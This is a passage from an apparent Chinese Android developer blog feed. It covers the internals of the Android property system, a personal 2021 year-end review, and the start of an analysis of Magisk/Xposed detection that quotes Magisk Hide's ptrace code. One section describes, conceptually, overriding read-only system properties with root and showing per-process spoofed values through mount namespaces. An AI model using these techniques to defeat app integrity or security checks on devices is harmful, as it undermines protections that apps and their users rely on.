class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> <span class="keyword">char</span>* remaining_name = name;</span><br><span class="line">prop_bt* current = trie;</span><br><span class="line"><span class="keyword">while</span> (<span class="literal">true</span>) {</span><br><span class="line"> <span class="keyword">const</span> <span class="keyword">char</span>* sep = <span class="built_in">strchr</span>(remaining_name, <span class="string">'.'</span>);</span><br><span class="line"> <span class="keyword">const</span> <span class="keyword">bool</span> want_subtree = (sep != <span class="literal">nullptr</span>);</span><br><span class="line"> <span class="keyword">const</span> <span class="keyword">uint32_t</span> substr_size = (want_subtree) ? sep - remaining_name : <span class="built_in">strlen</span>(remaining_name);</span><br><span class="line"> <span class="keyword">if</span> (!substr_size) {</span><br><span class="line"> <span class="keyword">return</span> <span class="literal">nullptr</span>;</span><br><span class="line"> }</span><br><span class="line"> prop_bt* root = <span class="literal">nullptr</span>;</span><br><span class="line"> <span class="keyword">uint_least32_t</span> children_offset = atomic_load_explicit(&current->children, memory_order_relaxed);</span><br><span class="line"> <span class="keyword">if</span> (children_offset != <span class="number">0</span>) {</span><br><span class="line"> root = to_prop_bt(&current->children);</span><br><span class="line"> } <span class="keyword">else</span> <span class="keyword">if</span> (alloc_if_needed) {</span><br><span class="line"> <span class="keyword">uint_least32_t</span> new_offset;</span><br><span class="line"> root = new_prop_bt(remaining_name, substr_size, &new_offset);</span><br><span class="line"> <span class="keyword">if</span> (root) {</span><br><span class="line"> atomic_store_explicit(&current->children, new_offset, memory_order_release);</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">if</span> (!root) {</span><br><span class="line"> <span class="keyword">return</span> <span class="literal">nullptr</span>;</span><br><span class="line"> }</span><br><span class="line"> current = find_prop_bt(root, remaining_name, substr_size, alloc_if_needed);</span><br><span class="line"> <span class="keyword">if</span> (!current) {</span><br><span class="line"> <span class="keyword">return</span> <span class="literal">nullptr</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">if</span> (!want_subtree) <span class="keyword">break</span>;</span><br><span class="line"> remaining_name = sep + <span class="number">1</span>;</span><br><span class="line">}</span><br><span class="line"><span class="keyword">uint_least32_t</span> prop_offset = atomic_load_explicit(&current->prop, memory_order_relaxed);</span><br><span class="line"><span class="keyword">if</span> (prop_offset != <span class="number">0</span>) {</span><br><span class="line"> <span class="keyword">return</span> to_prop_info(&current->prop);</span><br><span class="line">} <span class="keyword">else</span> <span class="keyword">if</span> (alloc_if_needed) {</span><br><span class="line"> <span class="keyword">uint_least32_t</span> new_offset;</span><br><span class="line"> prop_info* new_info = new_prop_info(name, namelen, value, valuelen, &new_offset);</span><br><span class="line"> <span class="keyword">if</span> (new_info) {</span><br><span class="line"> atomic_store_explicit(&current->prop, new_offset, memory_order_release);</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> new_info;</span><br><span class="line">} <span class="keyword">else</span> {</span><br><span class="line"> <span class="keyword">return</span> <span class="literal">nullptr</span>;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p><code>prop_bt</code> <code>prop_info</code> 又是什么?这一堆什么 <code>subtree</code> <code>left</code> <code>right</code> 看着就像一棵树,它的结构是什么样的呢,其实注释里已经写了:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">// Properties are stored in a hybrid trie/binary tree structure.</span><br><span class="line">// Each property's name is delimited at '.' characters, and the tokens are put</span><br><span class="line">// into a trie structure. Siblings at each level of the trie are stored in a</span><br><span class="line">// binary tree. For instance, "ro.secure"="1" could be stored as follows:</span><br><span class="line">//</span><br><span class="line">// +-----+ children +----+ children +--------+</span><br><span class="line">// | |-------------->| ro |-------------->| secure |</span><br><span class="line">// +-----+ +----+ +--------+</span><br><span class="line">// / \ / |</span><br><span class="line">// left / \ right left / | prop +===========+</span><br><span class="line">// v v v +-------->| ro.secure |</span><br><span class="line">// +-----+ +-----+ +-----+ +-----------+</span><br><span class="line">// | net | | sys | | com | | 1 |</span><br><span class="line">// +-----+ +-----+ +-----+ +===========+</span><br></pre></td></tr></table></figure><p>这是一颗二叉树和字典树的混血儿。在传统的二叉树结构中,假如一个节点 node 拥有 left right 两个成员:<code>node { var left, right }</code>,其中的 left right 都是 node 这个节点的孩子;在传统二叉树的搜索中,如果给定一个 key,那么流程大概会是这样的伪代码:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">while</span> (currentNode != <span class="keyword">null</span>) {</span><br><span class="line"> <span class="keyword">if</span> (key < currentNode.key)</span><br><span class="line"> currentNode = currentNode.left</span><br><span class="line"> <span class="keyword">else</span> <span class="keyword">if</span> (key > currentNode.key)</span><br><span class="line"> currentNode = currentNode.right</span><br><span class="line"> <span class="keyword">else</span> <span class="comment">// key == currentNode.key</span></span><br><span class="line"> <span class="keyword">return</span> currentNode</span><br><span class="line">}</span><br><span class="line"><span class="keyword">return</span> <span class="keyword">null</span></span><br></pre></td></tr></table></figure><p>而在这个混合结构中,节点 <code>node</code> 的 <code>left</code> <code>right</code> 和 <code>node</code> 本身其实是平级关系,它们的父节点是同一个,<code>child</code> 才是节点的子节点。<br>而理解了这一点之后,要看懂上面这幅图也就不难了。<br>还是以 <code>ro.secure=1</code> 来举例。首先对属性名 <code>ro.secure</code> 以点分割,得 <code>ro</code> 和 <code>secure</code>,先从树上查找到 <code>ro</code>,而 <code>ro</code> 的左右节点 <code>sys</code> 和 <code>net</code> 与 <code>ro</code> 是平级关系。接着,从 <code>ro</code> 的 child 指向的节点里查找 <code>secure</code>,很明显第一个就是。找到了之后,根据节点的 <code>prop</code> 值指向的一个 <code>prop_info</code> 结构就能读取到值。<br>因此 <code>prop_bt</code> 其实只是用来树上的一个个节点,而它指向的 <code>prop_info</code> 才是真正存放属性值的地方。</p><h3 id="属性区域的初始化"><a href="#属性区域的初始化" class="headerlink" title="属性区域的初始化"></a>属性区域的初始化</h3><p>我们还有一个问题:我们上面的操作都是在 <code>/dev/__properties__</code> 这个文件夹下面玩的,那这个文件夹和里面的文件是哪来的呀?<br>其实早在 init 进程启动时,它就调用了 PropertyInit() 初始化</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">PropertyInit</span><span class="params">()</span> </span>{</span><br><span class="line"> mkdir(<span class="string">"/dev/__properties__"</span>, S_IRWXU | S_IXGRP | S_IXOTH);</span><br><span class="line"> CreateSerializedPropertyInfo();</span><br><span class="line"> <span class="keyword">if</span> (__system_property_area_init()) {</span><br><span class="line"> LOG(FATAL) << <span class="string">"Failed to initialize property area"</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">if</span> (!property_info_area.LoadDefaultPath()) {</span><br><span class="line"> LOG(FATAL) << <span class="string">"Failed to load serialized property info file"</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="comment">// If arguments are passed both on the command line and in DT,</span></span><br><span class="line"> <span class="comment">// properties set in DT always have priority over the command-line ones.</span></span><br><span class="line"> ProcessKernelDt();</span><br><span class="line"> ProcessKernelCmdline();</span><br><span class="line"> ProcessBootconfig();</span><br><span class="line"> <span class="comment">// Propagate the kernel variables to internal variables</span></span><br><span class="line"> <span class="comment">// used by init as well as the current required properties.</span></span><br><span class="line"> ExportKernelBootProps();</span><br><span class="line"> PropertyLoadBootDefaults();</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>这个函数先是创建了 <code>/dev/__properties__</code> 随后将 split context 的一堆文件“编译”成二进制树的形式并序列化到 property_info 中以加速其他进程的启动速度,而后将内核命令行、default.prop、build.prop 等的内容加载进来,然后我们的属性区域就有值了!</p><p>再往后看,init 进程还会调用一个 <code>StartPropertyService()</code> 的东西,这个 property service 又是什么呢,这里我就不放源码了,它建立了一个 Socket Server,<code>__system_properties_set()</code> 时就会去通过 socket 连上它,然后这个 property service 再进行实际的写入。</p><p>我们上面提到的鉴权的问题,也已经有了答案:对于获取属性,因为每个属性都有对应的 context,进程如果权限不够,尝试打开这个 context 对应文件时就会被 SELinux 直接挡住;而对于写入属性,其他进程尝试写入属性实际都是通过 socket 连上运行在 init 的一个 service,由这个 service 来做鉴权、阻止只读属性被覆盖的检查以及最终的写入操作。</p><p>其实到这里,属性系统还有很多内容没有介绍,比如 long value、persist props 这些东西,但由于篇幅限制,只能到这里了,有兴趣的同学可以自己查阅源代码哦 :)</p><h2 id="魔法时刻"><a href="#魔法时刻" class="headerlink" title="魔法时刻"></a>魔法时刻</h2><h3 id="绕过-ro-属性的只读限制"><a href="#绕过-ro-属性的只读限制" class="headerlink" title="绕过 ro 属性的只读限制"></a>绕过 ro 属性的只读限制</h3><p>上面提到,ro 属性的检查是在 init 进程手动做的,那如果我们直接操作对应内存,是不是就能绕开这个限制呢?事实上,由于这些文件的权限以及 SELinux 相关限制,在 init 进程以外你在正常的 Android 系统里几乎没办法写入这些文件;但如果你的进程有足够高的权限,这是可行的!事实上,Magisk 的 resetprop 就是这么实现的,你甚至还可以做到更神奇的事,比如删除属性!</p><h3 id="属性的“隔离”操作"><a href="#属性的“隔离”操作" class="headerlink" title="属性的“隔离”操作"></a>属性的“隔离”操作</h3><p>什么是“隔离”?通常来说,就是 <del>14+7</del>(</p><p>我们想要的“隔离”效果大概就是,两个进程在同一时刻对同一个属性获取到不同的值。</p><p>Android 系统原生是不支持这种操作的,但是我们可以使用黑魔法来完成这一点。</p><p>在 Linux 中,有一个概念叫做 namespace,它就是一种资源隔离方案。在它可以隔离的资源中,有一种东西,叫 mount。</p><p>什么概念:简单点说,如果两个进程拥有不一样的 mount namespace,进程 A 搞破坏把 /data 给 mount 到了 /system,但是这一切进程 B 是看不见的,它所看见的 /system 还是原来那个。</p><p>结合我们上面提到的,属性其实是存在一堆“一次性”文件里的这一点,我们有了一个大胆的想法:首先 unshare 分离 namespace,把某个 context 对应的文件给复制一份,然后把这个复制品 bind mount 到原来的文件,直接修改这个复制品里的属性值,就能实现只让一个进程看见对应属性的修改!</p><p>我们还可以改变一下,实现一个可以回滚的 resetprop:在 zygote 启动之前和 init 同命名空间的某个高权限进程里把复制品 bind mount 回原文件,然后修改里面的内容,之后启动的任何进程(包括 zygote)都会看见被修改后的属性;然后在需要回滚修改的 app 进程里 unmount 这些文件,随后因为有些文件可能已经在 zygote 里被提前 mmap 过了,我们需要把它们 unmap 再重新 mmap 以确保 app 读到的永远是未被修改的真实值,然后我们就实现了属性修改的回滚!</p><p>我已经在自己的 Magisk fork 上进行了简单测试,确认可行,源码在这里:<a href="https://github.com/canyie/Magisk/commit/d50a060a23727236b36d79afc696632519247fd8" target="_blank" rel="noopener">https://github.com/canyie/Magisk/commit/d50a060a23727236b36d79afc696632519247fd8</a></p><p>当然这个方法有一些小小缺陷,比如我们 hijack 一个 context 后所有归属于这个 context 的其他属性都会受到影响,之后的 setprop 只会对进行了回滚的进程生效,因为 init 已经打开了所有文件,只会对原文件进行写入操作。这个问题可以通过 inotify 监听写入然后手动更新解决,但是是体力活。但是,我们的确发明了我们自己的魔法!至于这个好玩的新东西能做什么,可以发挥你的想象力 :)</p>]]></content>
<summary type="html">
<p>Android Property (属性系统)可谓是 Android 中使用最广泛的进程间信息共享机制了,如 app 获取系统版本号,就是通过属性系统传递的信息;对于如此常用的底层机制,你可能知道 <code>getprop</code> <code>SystemProperties</code> <code>__system_property_get</code> 这些 API,但是,你真的了解它吗?这次,我们不但要会遵守规则用这些 API,我们还要成为规则的缔造者,让系统为我们服务!Let’s go!</p>
</summary>
<category term="android" scheme="https://blog.canyie.top/tags/android/"/>
<category term="property" scheme="https://blog.canyie.top/tags/property/"/>
<category term="数据结构与算法" scheme="https://blog.canyie.top/tags/%E6%95%B0%E6%8D%AE%E7%BB%93%E6%9E%84%E4%B8%8E%E7%AE%97%E6%B3%95/"/>
</entry>
<entry>
<title>从电子厂逃离的 17 岁 - 2021 年终总结</title>
<link href="https://blog.canyie.top/2022/01/09/end-of-2021/"/>
<id>https://blog.canyie.top/2022/01/09/end-of-2021/</id>
<published>2022-01-09T06:19:46.000Z</published>
<updated>2022-01-09T08:37:07.371Z</updated>
<content type="html"><![CDATA[<p>当我写下这段文字时,时间是 2022 年 1 月 9 日,这个时候发上一年年终总结似乎晚了点;老实说,在这个博客刚创建的时候,我没有打算写这种记录性的内容,我的目标一直都是像 <a href="https://weishu.me/" target="_blank" rel="noopener">Weishu’s Notes</a> 的高质量内容;但是昨晚看 weishu 直播写代码,他说了一句让我很触动的话:“人生不需要有意义,有意思就够了。”我的 2021 可能没什么意义,但如果我不做点什么纪念一下,它很有可能就消逝在时间的长河里,连我自己都回忆不起来,更别提有意思了。</p><a id="more"></a><h2 id="计算机:LSPosed-与向-Magisk-提交-PR"><a href="#计算机:LSPosed-与向-Magisk-提交-PR" class="headerlink" title="计算机:LSPosed 与向 Magisk 提交 PR"></a>计算机:LSPosed 与向 Magisk 提交 PR</h2><p>2021 年开头,发生了一件大家可能都知道的事情:shana 姐姐希望给 EdXposed 做出较大修改,如强制白名单作用域等,但 MlgmXyysd 姐姐不同意,认为应该保持与原版 Xposed 的一致性,吵过几次之后,shana 姐姐宣布分道扬镳,创建 <a href="https://github.com/LSPosed/LSPosed" target="_blank" rel="noopener">LSPosed</a> 还带走了 ksm。最初版的 LSPosed 就是一个强制启用了作用域版的 EdXposed,但仅仅如此就有大量用户表示获得了巨大的性能提升。以后的日子里,他们重构了整个项目,带来了基于 binder 的后端服务,修复了一大堆 bug 还添加了新的 API。当然这一切都与我没什么关系,我自己几乎一行代码没给 LSPosed 写过,也就是几个 art 有关的 bug 和一起他们讨论出修复方法,说白了就是打个酱油——惊喜的是,我竟然获得了 owner !而且和一群志同道合的哥哥姐姐们互相交流技术一起写代码真的很开心!!学会了很多我自己可能一辈子也学不到的东西!!如今,LSPosed 已经是国内外最受欢迎的 Xposed 实现,也算是完成了自己以前的一个小心愿吧~</p><p>在 LSPosed 刚开始的时候,我们就一直收到用户反馈安装后手机无法开机,获取到 log 后发现是 Magisk 挂载系统文件时到一半突然卡住,从 log 里完全看不出原因。更奇怪的是,我们添加了一些 log 构建出自己的 debug 版本发给用户测试后,竟然可以开机了!!百思不得其解之际,内群里另一位开发者的 magisk 卡住了,而且她的 sui 可以在 magisk su 不可用时获取到 root 权限帮助调试。用 lldb 折腾了两天之后,我们终于搞清楚她的问题出在哪里:log 里调用的 localtime_r 里面有一把不可重入的锁,加锁之后刚好收到一个 signal,程序直接转跳到 signal handler 执行,signal handler 打印 log 又要再次调用 localtime_r,里面又尝试获取自己已经加过的锁,然后直接死锁。理论上讲,它确实可以造成之前的问题,等到 magisk 把这个 <a href="https://github.com/topjohnwu/Magisk/issues/3976" target="_blank" rel="noopener">bug</a> 修复之后,我们以为万事大吉了。然而事实是,我们仍然继续收到相关反馈。几个月后,我们终于找到了一位可以稳定复现该问题的用户,最后发现了这个 bug 的本质:magisk 使用了一个没有初始化的变量,它可能是随机值。提交<a href="https://github.com/topjohnwu/Magisk/pull/4205" target="_blank" rel="noopener">修复</a>之后,整个内群都在发这么一句话:<img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAASwAAAEsCAMAAABOo35HAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29mdHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAC9UExURVlZWdPT07KysmRkZIWFhfT09JmZmWZmZm9vb39/fxkZGUxMTDMzM3p6epCQkKamppubm729venp6cjIyN7e3tbW1s/Pz8LCwnx8fLS0tFZWVoiIiI+Pj6GhoeTk5Glpabu7u93d3evr66CgoJSUlKqqqsnJyeDg4Hd3d8PDw+Xl5bi4uNHR0dvb26Ojo6urq+fn51hYWDg4OCgoKHBwcK2traenp0FBQe7u7vHx8U5OTre3t8zMzHV1df///7GrnpQAAAA/dFJOU///////////////////////////////////////////////////////////////////////////////////AI4mfBcAAAUGSURBVHja7NoJb6M4GMZxY0NCD64kve/pMZ2d3Z297+X7f6zFNmBAMUXa6URl/q9UJSWPUPzrizFWRUlNLgEBWGCBBRZYYEEAFlhggQUWWBCABRZYYIEFFgRggQUWWGCBBQFYYIEFFlhgQQAWWGCBBRZYEIAFFlhggQUWBGCBBRZYYIEFAVhggQUWWGBBABZYYIEFFlgQgAUWWGCBBRYEYIEFFlhggQUBWGCBBRZYYEEAFlhggQUWWBCABRZYYIEFFgRggQUWWGCBBQFYYIEFFlhgQQAWWGCBBRZYEIAFFlhggQUWBGCBBRZYn6cCIcRXgvX/h9qcIVBqDdbEM8RCxGCB9QqXYRwHYDHBgwXWl8eKZKiESHI3Ba1kWs3fKixcaJUl1YyeBm7Ocq+yLItUiVBGnXxenSHJolIKEcwHq6ikbOX1YGVzQCTN8LPmSLreghUl9sN4Uw7yajMrLC0TZ1ImzqY6FEop0+pIaEN5HaoOxVuwEqFyc4I46uSlzOLqgxlh6UaR9l3VYWl9Fdoxb1Q90KJtu41pwwFW/WHhTtW8i7TafLCqRsk6bsGw63L9qurXRmuIlbT9lDQnlXU+nBFW1Q2qnZbDprWa2tjR90LZFqx1/+Td/HpGWLlrLDvIwTcx6dQ1Vrntbig68cDms3JwbA5Y1azs1ger6sNV/bbIw1jU81MvNAGrl58RVn8ozW+btF08iGFoAlYvP3csfVur1gJBEIA1uBmue5dhZDOyO2epbmgCVi8/I6x0MMHH9pjsTfBhNzQBq5uPZoQlB0uH3DZG4EZqQ26fL3sZq5uf09Ih6qw3i/pm6BZO0qZX7rrUS68Xsbr5ZE4rePMk08pk9aUZugfqppvs6AM1Acvlo/StP+6EbW06z8hJqxbYp2BZPQUnFsLsKuhQdaHqn5ewbF7KXIn0jWO5MqOQ7RaNLPtbNMmmhimj0GUmYLl8Gs0Lq4wyPbTu1l2QKqHSouzs3OlDIslW5SQsnY/NXmFplyNvEuuLV/Tau9BzwiraDUSwXmysztYWWNtL1psXeumgIrDGaqXvBfUuvtqUYI3V2t1wk1e2msFluJJm6zDJXv/fIfjPP7DAAgsssCiwwAILLLDAosACCyywwAKLAgsssMACC6zt9fDz/v75tyOB+98PD2+ORgKffjw4OP1uJPDxl+Xy8v1I4MPF3t7VNyOB4/vF4uzdzrG+39f1kz/w66Guv/yBvw90KX/gZKkr8Qf+2dOV+gNHC12/7RxrabD2/a31bLAO/a11YbAO/K21MFhLf2s9Gqw9f2vdGqzFu11jnVusE2/gxmI9eQOnFuvYG7i0WH7uK4t15w2cWazrXWP9a7H8f/bQYvm/6IPF+sF/pVssf19Ii/WH/0K2WH/uGuvEWC39gSdj9Twy+Rqri5EZx1gt/IE7Y/XoD1wbq9vd3w1PlufnD2OBp+ebm/uxwPHF6emnscDR4vLy41jg7vHq6sNY4Pr27OyYdRaLUrDAAosCCyywwAILLAossMACCyywKLDAAgsssMCiwAILLLDAAosCCyywwAILLAossMACCyywKLDAAgsssMCiwAILLLDAAosCCyywwAILLAossMACCyywKLDAAgsssMCiwAILLLDAAosCCyywwAILLAossMACCyywKLDAAgsssMCiwAILLLDAAosCCyywwAILLAossMACCyywKLDAAgsssL6u+k+AAQCR9eHtLKvLfwAAAABJRU5ErkJggg==" data-original="https://user-images.githubusercontent.com/5022927/110012439-7d24ed00-7d5b-11eb-9885-aea25266e566.jpg" alt="截图"></p><p>这是我们第一次和 magisk bug 打交道。之后,我偶然发现我的备用手机红米 5 Plus 上 magisk hide 完全不工作,一开始我以为是我刷的 lineageos 的原因,但后来我在我的 Pixel 3 上也开始随机遇到这个问题,而且不断有人向我反馈 MomoHider 工作不正常,调查后发现是 magisk hide 坏了。某一天我静下心来,把那台备用机开机,连上电脑,一遍遍回看相关逻辑一点点改代码,最后被我一行代码修好了。然后我向 magisk 提交了我自己的第一个 <a href="https://github.com/topjohnwu/Magisk/pull/4507" target="_blank" rel="noopener">PR</a>,很可惜的是因为 magisk 后来删除了 magisk hide,我的 PR 没有被合并。往后的日子里,我们给 Magisk 提交了多次代码,修复了多个 bug。在之前我绝对想不到在全世界范围里获得数亿使用的 Magisk 会有这么多 bug,也很开心自己能参与一个这么大的项目,希望自己在新的一年里学到更多,<del>最好拿到 collaborator (</del></p><h2 id="学习:中职日常"><a href="#学习:中职日常" class="headerlink" title="学习:中职日常"></a>学习:中职日常</h2><p>寒假结束回到学校之后,我被发下来的课程表震惊了:我们的专业名叫计算机网络技术,但是第二学期把这门专业课给取消了,然后加了什么 常用工具软件(教你怎么用 QQ 怎么用美图秀秀怎么用酷狗音乐腾讯视频)还有 Photoshop。去问学校这是怎么回事,得到的答复是,学生们反映这门课太难听不懂就取消了。无语至极,也只能一边上着荒唐至极的课,一边自学准备高职高考。幸运的是,能在这里碰到一起编程一起学习一起高考的伙伴。三个月电子厂实习也结束了,希望自己新的一年能全力备战高考~</p><h2 id="实习:被推向电子厂的三个月"><a href="#实习:被推向电子厂的三个月" class="headerlink" title="实习:被推向电子厂的三个月"></a>实习:被推向电子厂的三个月</h2><p>六月份听说计算机等级考试九月份开始报名,十一点一到直接在课堂上拿出电脑报名。现在想来庆幸当时的自己的果断,韶大考点名额很少被自己抢到了一个,过了一天再去看只剩下松山学院可以报了~ 但是,直到期末我们才被通知,下个学期一开始就要去实习三个月。度过了一个暑假,开学了,学校果然没骗我,待了三天就直接坐着大巴去了几百公里外的城市。说是实习,其实也就是让学生去电子厂干些正常人都会干的活。在厂里上班三个月,我的感受就是这不是人干的活:程序员天天抱怨的996在那里根本就不是问题,我最晚一次早上八点上班上到晚上十点半,连晚饭都没吃;几乎没有假放,中秋的一天还是调休调出来的,国庆只有三天回趟家几乎在睡觉中度过;第一个月还好,第二个月开始上夜班两班倒,到后面基本上就是麻木的在那里干活,脑子放空手上还在机械的做那些动作,感觉时间流速都不一样了,活还在手上干着外面天已经亮了;回来基本上手机拿在手里没充电坐在床上就直接睡着了。三个月下来,拿到手工资不到一万,还把之前的基础几乎忘完了,到实习结束写实习报告的时候连字都不会写。但好在,这三个月我已经熬过来了。现在只希望自己能好好自学,参加高职高考能考上好的大学,否则按国内这个环境,我会再难的东西也是去电子厂的命。在知乎上看见一个立志要考上深职院的学姐,真的很励志呀,希望自己也能怎么努力~附上链接:<a href="https://www.zhihu.com/question/406968818/answer/1342275472" target="_blank" rel="noopener">中职生高职高考自学,感觉找不到好的方法学习方法,该怎么办? - 话梅的回答 - 知乎</a></p><h2 id="在故事结束之后的故事"><a href="#在故事结束之后的故事" class="headerlink" title="在故事结束之后的故事"></a>在故事结束之后的故事</h2><p>回来学校之后,很迷茫,似乎又回到了以前在学校那种状态,上完六节课就在课室或者宿舍躺着,送的试卷也没动力去翻一下。昨天晚上看 weishu 直播修 bug,猛然又想起当时的梦想,当时的梦多么天真多么美好啊,那就让我们去实现它吧~ 我不是一个有恒心的人,所以如果你愿意的话,请监督我吧,希望我们能在美好的未来相见~~</p>]]></content>
<summary type="html">
<p>当我写下这段文字时,时间是 2022 年 1 月 9 日,这个时候发上一年年终总结似乎晚了点;老实说,在这个博客刚创建的时候,我没有打算写这种记录性的内容,我的目标一直都是像 <a href="https://weishu.me/" target="_blank" rel="noopener">Weishu’s Notes</a> 的高质量内容;但是昨晚看 weishu 直播写代码,他说了一句让我很触动的话:“人生不需要有意义,有意思就够了。”我的 2021 可能没什么意义,但如果我不做点什么纪念一下,它很有可能就消逝在时间的长河里,连我自己都回忆不起来,更别提有意思了。</p>
</summary>
<category term="年鉴" scheme="https://blog.canyie.top/tags/%E5%B9%B4%E9%89%B4/"/>
<category term="闲聊" scheme="https://blog.canyie.top/tags/%E9%97%B2%E8%81%8A/"/>
</entry>
<entry>
<title>检测Magisk与Xposed</title>
<link href="https://blog.canyie.top/2021/05/01/anti-magisk-xposed/"/>
<id>https://blog.canyie.top/2021/05/01/anti-magisk-xposed/</id>
<published>2021-05-01T05:23:44.000Z</published>
<updated>2021-05-01T10:13:00.212Z</updated>
<content type="html"><![CDATA[<p>不久前,开发者Rikka & vvb2060上架了一款环境检测应用<a href="https://www.coolapk.com/apk/io.github.vvb2060.mahoshojo" target="_blank" rel="noopener">Momo</a>,把大家一直以来信任的各种反检测手段击得粉碎。下面我会通过部分已公开的源码,分析这个可能是史上最强的环境检测应用。</p><a id="more"></a><h2 id="检测-Magisk"><a href="#检测-Magisk" class="headerlink" title="检测 Magisk"></a>检测 Magisk</h2><p>这一部分只分析有趣的东西,关于MagiskDetector的其他一些具体实现细节请直接查看 <a href="https://github.com/vvb2060/MagiskDetector/blob/master/README_ZH.md" target="_blank" rel="noopener">https://github.com/vvb2060/MagiskDetector/blob/master/README_ZH.md</a></p><h3 id="反Magisk-Hide"><a href="#反Magisk-Hide" class="headerlink" title="反Magisk Hide"></a>反Magisk Hide</h3><p>首先分析Magisk Hide的原理:</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">static</span> <span class="keyword">void</span> <span class="title">new_zygote</span><span class="params">(<span class="keyword">int</span> pid)</span> </span>{</span><br><span class="line"> <span class="class"><span class="keyword">struct</span> <span class="title">stat</span> <span class="title">st</span>;</span></span><br><span class="line"> <span class="keyword">if</span> (read_ns(pid, &st))</span><br><span class="line"> <span class="keyword">return</span>;</span><br><span class="line"></span><br><span class="line"> <span class="keyword">auto</span> it = zygote_map.find(pid);</span><br><span class="line"> <span class="keyword">if</span> (it != zygote_map.end()) {</span><br><span class="line"> <span class="comment">// Update namespace info</span></span><br><span class="line"> it->second = st;</span><br><span class="line"> <span class="keyword">return</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> LOGD(<span class="string">"proc_monitor: ptrace zygote PID=[%d]\n"</span>, pid);</span><br><span class="line"> zygote_map[pid] = st;</span><br><span class="line"></span><br><span class="line"> xptrace(PTRACE_ATTACH, pid);</span><br><span class="line"></span><br><span class="line"> waitpid(pid, <span class="literal">nullptr</span>, __WALL | __WNOTHREAD);</span><br><span class="line"> xptrace(PTRACE_SETOPTIONS, pid, <span class="literal">nullptr</span>,</span><br><span class="line"> PTRACE_O_TRACEFORK | PTRACE_O_TRACEVFORK | PTRACE_O_TRACEEXIT);</span><br><span class="line"> xptrace(PTRACE_CONT, pid);</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">proc_monitor</span><span class="params">()</span> </span>{</span><br><span class="line"> <span class="comment">// 省略...</span></span><br><span class="line"></span><br><span class="line"> <span class="comment">// First try find existing zygotes</span></span><br><span class="line"> check_zygote();</span><br><span class="line"></span><br><span class="line"> <span class="keyword">for</span> (<span class="keyword">int</span> status;;) {</span><br><span class="line"> <span class="keyword">const</span> <span 